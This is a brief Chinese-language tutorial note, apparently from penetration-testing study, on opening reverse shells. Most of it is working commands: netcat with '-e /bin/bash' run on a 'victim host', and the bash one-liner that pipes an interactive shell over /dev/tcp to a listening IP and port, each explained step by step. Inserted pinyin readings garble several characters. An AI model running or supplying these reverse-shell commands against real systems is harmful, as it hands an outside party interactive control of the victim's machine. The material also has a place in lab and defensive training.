nc工具反彈shell

下面是windows主機(jī)找到nc打開(kāi)1.bat輸入：nc 連接的IP地址 端口

受害主機(jī)是nc -lvvp 端口 -t -e /bin/bash

kali系統(tǒng)連接

bash命令反彈

本地 nc -l -p 端口，

受害主機(jī) bash -i >& /dev/tcp/要連接的主機(jī)IP/端口 0>&1

注：

bash -I 產(chǎn)生交互環(huán)境，

>& 前后相連， ?

/dev/tcp/192.168.246.130/8006 ?本機(jī)和目標(biāo)130建立一個(gè)TCP連接，端口8006

0>&1輸入輸出內(nèi)容結(jié)合

kali主機(jī)主動(dòng)發(fā)起與目標(biāo)130這個(gè)nickkali建立連接，同時(shí)用bash命令建立交互，達(dá)到nickkali能操作kali主機(jī)的目標(biāo)（原理：外部入侵困難，內(nèi)部挖墻根容易）